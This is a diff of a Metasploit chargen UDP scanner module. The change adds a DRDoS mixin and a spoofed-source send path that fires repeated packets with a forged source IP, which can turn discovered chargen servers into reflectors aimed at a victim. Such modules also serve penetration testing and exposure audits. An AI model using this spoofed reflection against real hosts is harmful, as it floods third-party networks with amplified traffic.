|
9 | 9 | class Metasploit3 < Msf::Auxiliary
|
10 | 10 |
|
11 | 11 | include Msf::Auxiliary::Scanner
|
| 12 | + include Msf::Exploit::Capture |
12 | 13 | include Msf::Auxiliary::Report
|
13 | 14 | include Msf::Exploit::Remote::Udp
|
| 15 | + include Msf::Auxiliary::DRDoS |
| 16 | + include Msf::Auxiliary::UDPScanner |
14 | 17 |
|
15 | 18 | def initialize
|
16 | 19 | super(
|
@@ -45,24 +48,28 @@ def initialize
|
45 | 48 | end
|
46 | 49 |
|
47 | 50 | def run_host(rhost)
|
48 |
| - begin |
49 |
| - connect_udp |
50 |
| - pkt = Rex::Text.rand_text_alpha_lower(1) |
51 |
| - udp_sock.write(pkt) |
52 |
| - r = udp_sock.recvfrom(65535, 0.1) |
| 51 | + data = Rex::Text.rand_text_alpha_lower(1) |
| 52 | + if spoofed? |
| 53 | + scanner_spoof_send(data, rhost, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) |
| 54 | + else |
| 55 | + begin |
| 56 | + connect_udp |
| 57 | + udp_sock.write(data) |
| 58 | + r = udp_sock.recvfrom(65535, 0.1) |
53 | 59 |
|
54 |
| - if r and r[1] |
55 |
| - vprint_status("#{rhost}:#{rport} - Response: #{r[0].to_s}") |
56 |
| - res = r[0].to_s.strip |
57 |
| - if (res.match(/ABCDEFGHIJKLMNOPQRSTUVWXYZ/i) || res.match(/0123456789/)) |
58 |
| - print_good("#{rhost}:#{rport} answers with #{res.length} bytes (headers + UDP payload)") |
59 |
| - report_service(:host => rhost, :port => rport, :proto => "udp", :name => "chargen", :info => res.length) |
| 60 | + if r and r[1] |
| 61 | + vprint_status("#{rhost}:#{rport} - Response: #{r[0].to_s}") |
| 62 | + res = r[0].to_s.strip |
| 63 | + if (res.match(/ABCDEFGHIJKLMNOPQRSTUVWXYZ/i) || res.match(/0123456789/)) |
| 64 | + print_good("#{rhost}:#{rport} answers with #{res.length} bytes (headers + UDP payload)") |
| 65 | + report_service(:host => rhost, :port => rport, :proto => "udp", :name => "chargen", :info => res.length) |
| 66 | + end |
60 | 67 | end
|
| 68 | + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused |
| 69 | + nil |
| 70 | + ensure |
| 71 | + disconnect_udp if self.udp_sock |
61 | 72 | end
|
62 |
| - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused |
63 |
| - nil |
64 |
| - ensure |
65 |
| - disconnect_udp if self.udp_sock |
66 | 73 | end
|
67 | 74 | end
|
68 | 75 | end
|
0 commit comments